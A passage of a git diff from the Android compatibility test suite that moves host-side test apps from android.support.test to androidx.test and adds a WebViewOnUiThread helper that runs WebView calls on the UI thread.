 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/tv/app/AndroidManifest.xml b/hostsidetests/tv/app/AndroidManifest.xml
index 99eeb44..bec7daa 100644
--- a/hostsidetests/tv/app/AndroidManifest.xml
+++ b/hostsidetests/tv/app/AndroidManifest.xml
@@ -30,7 +30,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.tv.hostside" />
 
 </manifest>
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
index 3120510..8257909 100644
--- a/hostsidetests/tv/app2/Android.mk
+++ b/hostsidetests/tv/app2/Android.mk
@@ -31,7 +31,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/tv/app2/AndroidManifest.xml b/hostsidetests/tv/app2/AndroidManifest.xml
index 0b20ee5..5b0f7b6 100644
--- a/hostsidetests/tv/app2/AndroidManifest.xml
+++ b/hostsidetests/tv/app2/AndroidManifest.xml
@@ -28,7 +28,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.tv.hostside.app2" />
 
 </manifest>
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index 90fdad2..5450454 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -30,8 +30,8 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.ui.cts
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := general-tests cts_instant
+# *Not* tagged as a cts test artifact intentionally: b/109660132
+LOCAL_COMPATIBILITY_SUITE := general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index cf6df92..17da676 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -21,8 +21,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
 
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/ui/appA/AndroidManifest.xml b/hostsidetests/ui/appA/AndroidManifest.xml
index 155e0af..8d574d5 100644
--- a/hostsidetests/ui/appA/AndroidManifest.xml
+++ b/hostsidetests/ui/appA/AndroidManifest.xml
@@ -37,7 +37,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.taskswitching.appa" />
 
 </manifest>
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index 6c64244..11fc2b0 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -21,8 +21,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
 
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/ui/appB/AndroidManifest.xml b/hostsidetests/ui/appB/AndroidManifest.xml
index 0cd5092..9b370c1 100644
--- a/hostsidetests/ui/appB/AndroidManifest.xml
+++ b/hostsidetests/ui/appB/AndroidManifest.xml
@@ -40,7 +40,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.taskswitching.appb" />
 
 </manifest>
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index e35c4f0..2a303382 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/ui/control/AndroidManifest.xml b/hostsidetests/ui/control/AndroidManifest.xml
index 2b6b0dd..85f0ba8 100644
--- a/hostsidetests/ui/control/AndroidManifest.xml
+++ b/hostsidetests/ui/control/AndroidManifest.xml
@@ -26,7 +26,7 @@
     </application>
     <instrumentation
         android:targetPackage="android.taskswitching.control.cts"
-        android:name="android.support.test.runner.AndroidJUnitRunner" >
+        android:name="androidx.test.runner.AndroidJUnitRunner" >
         <meta-data
             android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
index 9f2bd44..623f011 100644
--- a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
+++ b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
@@ -47,7 +47,7 @@
  */
 public class TaskSwitchingTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
     private static final String TAG = "TaskSwitchingTest";
-    private final static String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private final static String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
     private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
     private IBuildInfo mBuild;
     private ITestDevice mDevice;
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index 601c0ba..53b9266 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
index 935c237..4a08100 100644
--- a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
+++ b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
@@ -27,5 +27,5 @@
     </application>
     <instrumentation
         android:targetPackage="com.android.cts.usb.serialtest"
-        android:name="android.support.test.runner.AndroidJUnitRunner" />
+        android:name="androidx.test.runner.AndroidJUnitRunner" />
 </manifest>
diff --git a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
index d239095..e54d1cb 100644
--- a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
+++ b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
@@ -17,9 +17,10 @@
 package com.android.cts.usb.serialtest;
 
 import android.os.Build;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 0039337..01b5d88 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -46,7 +46,7 @@
  */
 public class TestUsbTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
 
-    private static final String CTS_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String CTS_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
     private static final String PACKAGE_NAME = "com.android.cts.usb.serialtest";
     private static final String TEST_CLASS_NAME = PACKAGE_NAME + ".UsbSerialTest";
     private static final String APK_NAME="CtsUsbSerialTestApp.apk";
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
index 2b0be1c..98a7092 100644
--- a/hostsidetests/webkit/app/Android.mk
+++ b/hostsidetests/webkit/app/Android.mk
@@ -22,10 +22,10 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
     ctstestserver \
-    ctstestrunner
+    ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/webkit/app/AndroidManifest.xml b/hostsidetests/webkit/app/AndroidManifest.xml
index cfd25d5..b7b17db 100644
--- a/hostsidetests/webkit/app/AndroidManifest.xml
+++ b/hostsidetests/webkit/app/AndroidManifest.xml
@@ -38,7 +38,7 @@
 
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.webkit"/>
 
 </manifest>
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
index d2728dc..d403618 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.webkit;
 
 import android.platform.test.annotations.AppModeFull;
+
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -27,7 +28,7 @@
 import java.util.Collection;
 
 public class WebViewHostSideStartupTest extends DeviceTestCase {
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     private static final String DEVICE_WEBVIEW_STARTUP_PKG = "com.android.cts.webkit";
     private static final String DEVICE_WEBVIEW_STARTUP_TEST_CLASS = "WebViewDeviceSideStartupTest";
diff --git a/libs/deviceutillegacy-axt/Android.mk b/libs/deviceutillegacy-axt/Android.mk
new file mode 100644
index 0000000..1748080
--- /dev/null
+++ b/libs/deviceutillegacy-axt/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util-axt \
+    junit
+
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := ctsdeviceutillegacy-axt
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java
new file mode 100644
index 0000000..3072b07
--- /dev/null
+++ b/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java
@@ -0,0 +1,1116 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.webkit.cts;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.TestThread;
+
+import android.graphics.Bitmap;
+import android.graphics.Picture;
+import android.graphics.Rect;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Looper;
+import android.os.Message;
+import android.os.SystemClock;
+import android.print.PrintDocumentAdapter;
+import androidx.test.rule.ActivityTestRule;
+import android.test.InstrumentationTestCase;
+import android.util.DisplayMetrics;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewParent;
+import android.webkit.DownloadListener;
+import android.webkit.CookieManager;
+import android.webkit.ValueCallback;
+import android.webkit.WebBackForwardList;
+import android.webkit.WebChromeClient;
+import android.webkit.WebMessage;
+import android.webkit.WebMessagePort;
+import android.webkit.WebSettings;
+import android.webkit.WebView.HitTestResult;
+import android.webkit.WebView.PictureListener;
+import android.webkit.WebView.VisualStateCallback;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+
+import junit.framework.Assert;
+
+import java.io.File;
+import java.util.concurrent.Callable;
+import java.util.Map;
+
+/**
+ * Many tests need to run WebView code in the UI thread. This class
+ * wraps a WebView so that calls are ensured to arrive on the UI thread.
+ *
+ * All methods may be run on either the UI thread or test thread.
+ */
+public class WebViewOnUiThread {
+    /**
+     * The maximum time, in milliseconds (10 seconds) to wait for a load
+     * to be triggered.
+     */
+    private static final long LOAD_TIMEOUT = 10000;
+
+    /**
+     * Set to true after onPageFinished is called.
+     */
+    private boolean mLoaded;
+
+    /**
+     * Set to true after onNewPicture is called. Reset when onPageStarted
+     * is called.
+     */
+    private boolean mNewPicture;
+
+    /**
+     * The progress, in percentage, of the page load. Valid values are between
+     * 0 and 100.
+     */
+    private int mProgress;
+
+    /**
+     * The test that this class is being used in. Used for runTestOnUiThread.
+     */
+    private InstrumentationTestCase mTest;
+
+    /**
+     * The test rule that this class is being used in. Used for runTestOnUiThread.
+     */
+    private ActivityTestRule mActivityTestRule;
+
+    /**
+     * The WebView that calls will be made on.
+     */
+    private WebView mWebView;
+
+    /**
+     * Initializes the webView with a WebViewClient, WebChromeClient,
+     * and PictureListener to prepare for loadUrlAndWaitForCompletion.
+     *
+     * A new WebViewOnUiThread should be called during setUp so as to
+     * reinitialize between calls.
+     *
+     * @param test The test in which this is being run.
+     * @param webView The webView that the methods should call.
+     * @see #loadDataAndWaitForCompletion(String, String, String)
+     * @deprecated Use {@link WebViewOnUiThread#WebViewOnUiThread(ActivityTestRule, WebView)}
+     */
+    @Deprecated
+    public WebViewOnUiThread(InstrumentationTestCase test, WebView webView) {
+        mTest = test;
+        mWebView = webView;
+        final WebViewClient webViewClient = new WaitForLoadedClient(this);
+        final WebChromeClient webChromeClient = new WaitForProgressClient(this);
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setWebViewClient(webViewClient);
+                mWebView.setWebChromeClient(webChromeClient);
+                mWebView.setPictureListener(new WaitForNewPicture());
+            }
+        });
+    }
+
+    /**
+     * Initializes the webView with a WebViewClient, WebChromeClient,
+     * and PictureListener to prepare for loadUrlAndWaitForCompletion.
+     *
+     * A new WebViewOnUiThread should be called during setUp so as to
+     * reinitialize between calls.
+     *
+     * @param activityTestRule The test rule in which this is being run.
+     * @param webView The webView that the methods should call.
+     * @see #loadDataAndWaitForCompletion(String, String, String)
+     */
+    public WebViewOnUiThread(ActivityTestRule activityTestRule, WebView webView) {
+        mActivityTestRule = activityTestRule;
+        mWebView = webView;
+        final WebViewClient webViewClient = new WaitForLoadedClient(this);
+        final WebChromeClient webChromeClient = new WaitForProgressClient(this);
+        runOnUiThread(() -> {
+            mWebView.setWebViewClient(webViewClient);
+            mWebView.setWebChromeClient(webChromeClient);
+            mWebView.setPictureListener(new WaitForNewPicture());
+        });
+    }
+
+    /**
+     * Called after a test is complete and the WebView should be disengaged from
+     * the tests.
+     */
+    public void cleanUp() {
+        clearHistory();
+        clearCache(true);
+        setPictureListener(null);
+        setWebChromeClient(null);
+        setWebViewClient(null);
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.destroy();
+            }
+        });
+    }
+
+    /**
+     * Called from WaitForNewPicture, this is used to indicate that
+     * the page has been drawn.
+     */
+    synchronized public void onNewPicture() {
+        mNewPicture = true;
+        this.notifyAll();
+    }
+
+    /**
+     * Called from WaitForLoadedClient, this is used to clear the picture
+     * draw state so that draws before the URL begins loading don't count.
+     */
+    synchronized public void onPageStarted() {
+        mNewPicture = false; // Earlier paints won't count.
+    }
+
+    /**
+     * Called from WaitForLoadedClient, this is used to indicate that
+     * the page is loaded, but not drawn yet.
+     */
+    synchronized public void onPageFinished() {
+        mLoaded = true;
+        this.notifyAll();
+    }
+
+    /**
+     * Called from the WebChrome client, this sets the current progress
+     * for a page.
+     * @param progress The progress made so far between 0 and 100.
+     */
+    synchronized public void onProgressChanged(int progress) {
+        mProgress = progress;
+        this.notifyAll();
+    }
+
+    public void setWebViewClient(final WebViewClient webViewClient) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setWebViewClient(webViewClient);
+            }
+        });
+    }
+
+    public void setWebChromeClient(final WebChromeClient webChromeClient) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setWebChromeClient(webChromeClient);
+            }
+        });
+    }
+
+    public void setPictureListener(final PictureListener pictureListener) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setPictureListener(pictureListener);
+            }
+        });
+    }
+
+    public void setNetworkAvailable(final boolean available) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setNetworkAvailable(available);
+            }
+        });
+    }
+
+    public void setDownloadListener(final DownloadListener listener) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setDownloadListener(listener);
+            }
+        });
+    }
+
+    public void setBackgroundColor(final int color) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setBackgroundColor(color);
+            }
+        });
+    }
+
+    public void clearCache(final boolean includeDiskFiles) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.clearCache(includeDiskFiles);
+            }
+        });
+    }
+
+    public void clearHistory() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.clearHistory();
+            }
+        });
+    }
+
+    public void requestFocus() {
+        new PollingCheck(LOAD_TIMEOUT) {
+            @Override
+            protected boolean check() {
+                requestFocusOnUiThread();
+                return hasFocus();
+            }
+        }.run();
+    }
+
+    private void requestFocusOnUiThread() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.requestFocus();
+            }
+        });
+    }
+
+    private boolean hasFocus() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.hasFocus();
+            }
+        });
+    }
+
+    public boolean canZoomIn() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.canZoomIn();
+            }
+        });
+    }
+
+    public boolean canZoomOut() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.canZoomOut();
+            }
+        });
+    }
+
+    public boolean zoomIn() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.zoomIn();
+            }
+        });
+    }
+
+    public boolean zoomOut() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.zoomOut();
+            }
+        });
+    }
+
+    public void zoomBy(final float zoomFactor) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.zoomBy(zoomFactor);
+            }
+        });
+    }
+
+    public void setFindListener(final WebView.FindListener listener) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setFindListener(listener);
+            }
+        });
+    }
+
+    public void removeJavascriptInterface(final String interfaceName) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.removeJavascriptInterface(interfaceName);
+            }
+        });
+    }
+
+    public WebMessagePort[] createWebMessageChannel() {
+        return getValue(new ValueGetter<WebMessagePort[]>() {
+            @Override
+            public WebMessagePort[] capture() {
+                return mWebView.createWebMessageChannel();
+            }
+        });
+    }
+
+    public void postWebMessage(final WebMessage message, final Uri targetOrigin) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.postWebMessage(message, targetOrigin);
+            }
+        });
+    }
+
+    public void addJavascriptInterface(final Object object, final String name) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.addJavascriptInterface(object, name);
+            }
+        });
+    }
+
+    public void flingScroll(final int vx, final int vy) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.flingScroll(vx, vy);
+            }
+        });
+    }
+
+    public void requestFocusNodeHref(final Message hrefMsg) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.requestFocusNodeHref(hrefMsg);
+            }
+        });
+    }
+
+    public void requestImageRef(final Message msg) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.requestImageRef(msg);
+            }
+        });
+    }
+
+    public void setInitialScale(final int scaleInPercent) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.setInitialScale(scaleInPercent);
+            }
+        });
+    }
+
+    public void clearSslPreferences() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.clearSslPreferences();
+            }
+        });
+    }
+
+    public void clearClientCertPreferences(final Runnable onCleared) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                WebView.clearClientCertPreferences(onCleared);
+            }
+        });
+    }
+
+    public void resumeTimers() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.resumeTimers();
+            }
+        });
+    }
+
+    public void findNext(final boolean forward) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.findNext(forward);
+            }
+        });
+    }
+
+    public void clearMatches() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.clearMatches();
+            }
+        });
+    }
+
+    /**
+     * Calls loadUrl on the WebView and then waits onPageFinished,
+     * onNewPicture and onProgressChange to reach 100.
+     * Test fails if the load timeout elapses.
+     * @param url The URL to load.
+     */
+    public void loadUrlAndWaitForCompletion(final String url) {
+        callAndWait(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.loadUrl(url);
+            }
+        });
+    }
+
+    /**
+     * Calls loadUrl on the WebView and then waits onPageFinished,
+     * onNewPicture and onProgressChange to reach 100.
+     * Test fails if the load timeout elapses.
+     * @param url The URL to load.
+     * @param extraHeaders The additional headers to be used in the HTTP request.
+     */
+    public void loadUrlAndWaitForCompletion(final String url,
+            final Map<String, String> extraHeaders) {
+        callAndWait(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.loadUrl(url, extraHeaders);
+            }
+        });
+    }
+
+    public void loadUrl(final String url) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.loadUrl(url);
+            }
+        });
+    }
+
+    public void stopLoading() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.stopLoading();
+            }
+        });
+    }
+
+    public void postUrlAndWaitForCompletion(final String url, final byte[] postData) {
+        callAndWait(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.postUrl(url, postData);
+            }
+        });
+    }
+
+    public void loadDataAndWaitForCompletion(final String data,
+            final String mimeType, final String encoding) {
+        callAndWait(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.loadData(data, mimeType, encoding);
+            }
+        });
+    }
+
+    public void loadDataWithBaseURLAndWaitForCompletion(final String baseUrl,
+            final String data, final String mimeType, final String encoding,
+            final String historyUrl) {
+        callAndWait(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.loadDataWithBaseURL(baseUrl, data, mimeType, encoding,
+                        historyUrl);
+            }
+        });
+    }
+
+    /**
+     * Reloads a page and waits for it to complete reloading. Use reload
+     * if it is a form resubmission and the onFormResubmission responds
+     * by telling WebView not to resubmit it.
+     */
+    public void reloadAndWaitForCompletion() {
+        callAndWait(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.reload();
+            }
+        });
+    }
+
+    /**
+     * Reload the previous URL. Use reloadAndWaitForCompletion unless
+     * it is a form resubmission and the onFormResubmission responds
+     * by telling WebView not to resubmit it.
+     */
+    public void reload() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.reload();
+            }
+        });
+    }
+
+    /**
+     * Use this only when JavaScript causes a page load to wait for the
+     * page load to complete. Otherwise use loadUrlAndWaitForCompletion or
+     * similar functions.
+     */
+    public void waitForLoadCompletion() {
+        waitForCriteria(LOAD_TIMEOUT,
+                new Callable<Boolean>() {
+                    @Override
+                    public Boolean call() {
+                        return isLoaded();
+                    }
+                });
+        clearLoad();
+    }
+
+    private void waitForCriteria(long timeout, Callable<Boolean> doneCriteria) {
+        if (isUiThread()) {
+            waitOnUiThread(timeout, doneCriteria);
+        } else {
+            waitOnTestThread(timeout, doneCriteria);
+        }
+    }
+
+    public String getTitle() {
+        return getValue(new ValueGetter<String>() {
+            @Override
+            public String capture() {
+                return mWebView.getTitle();
+            }
+        });
+    }
+
+    public WebSettings getSettings() {
+        return getValue(new ValueGetter<WebSettings>() {
+            @Override
+            public WebSettings capture() {
+                return mWebView.getSettings();
+            }
+        });
+    }
+
+    public WebBackForwardList copyBackForwardList() {
+        return getValue(new ValueGetter<WebBackForwardList>() {
+            @Override
+            public WebBackForwardList capture() {
+                return mWebView.copyBackForwardList();
+            }
+        });
+    }
+
+    public Bitmap getFavicon() {
+        return getValue(new ValueGetter<Bitmap>() {
+            @Override
+            public Bitmap capture() {
+                return mWebView.getFavicon();
+            }
+        });
+    }
+
+    public String getUrl() {
+        return getValue(new ValueGetter<String>() {
+            @Override
+            public String capture() {
+                return mWebView.getUrl();
+            }
+        });
+    }
+
+    public int getProgress() {
+        return getValue(new ValueGetter<Integer>() {
+            @Override
+            public Integer capture() {
+                return mWebView.getProgress();
+            }
+        });
+    }
+
+    public int getHeight() {
+        return getValue(new ValueGetter<Integer>() {
+            @Override
+            public Integer capture() {
+                return mWebView.getHeight();
+            }
+        });
+    }
+
+    public int getContentHeight() {
+        return getValue(new ValueGetter<Integer>() {
+            @Override
+            public Integer capture() {
+                return mWebView.getContentHeight();
+            }
+        });
+    }
+
+    public boolean pageUp(final boolean top) {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.pageUp(top);
+            }
+        });
+    }
+
+    public boolean pageDown(final boolean bottom) {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.pageDown(bottom);
+            }
+        });
+    }
+
+    public void postVisualStateCallback(final long requestId, final VisualStateCallback callback) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mWebView.postVisualStateCallback(requestId, callback);
+            }
+        });
+    }
+
+    public int[] getLocationOnScreen() {
+        final int[] location = new int[2];
+        return getValue(new ValueGetter<int[]>() {
+            @Override
+            public int[] capture() {
+                mWebView.getLocationOnScreen(location);
+                return location;
+            }
+        });
+    }
+
+    public float getScale() {
+        return getValue(new ValueGetter<Float>() {
+            @Override
+            public Float capture() {
+                return mWebView.getScale();
+            }
+        });
+    }
+
+    public boolean requestFocus(final int direction,
+            final Rect previouslyFocusedRect) {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.requestFocus(direction, previouslyFocusedRect);
+            }
+        });
+    }
+
+    public HitTestResult getHitTestResult() {
+        return getValue(new ValueGetter<HitTestResult>() {
+            @Override
+            public HitTestResult capture() {
+                return mWebView.getHitTestResult();
+            }
+        });
+    }
+
+    public int getScrollX() {
+        return getValue(new ValueGetter<Integer>() {
+            @Override
+            public Integer capture() {
+                return mWebView.getScrollX();
+            }
+        });
+    }
+
+    public int getScrollY() {
+        return getValue(new ValueGetter<Integer>() {
+            @Override
+            public Integer capture() {
+                return mWebView.getScrollY();
+            }
+        });
+    }
+
+    public final DisplayMetrics getDisplayMetrics() {
+        return getValue(new ValueGetter<DisplayMetrics>() {
+            @Override
+            public DisplayMetrics capture() {
+                return mWebView.getContext().getResources().getDisplayMetrics();
+            }
+        });
+    }
+
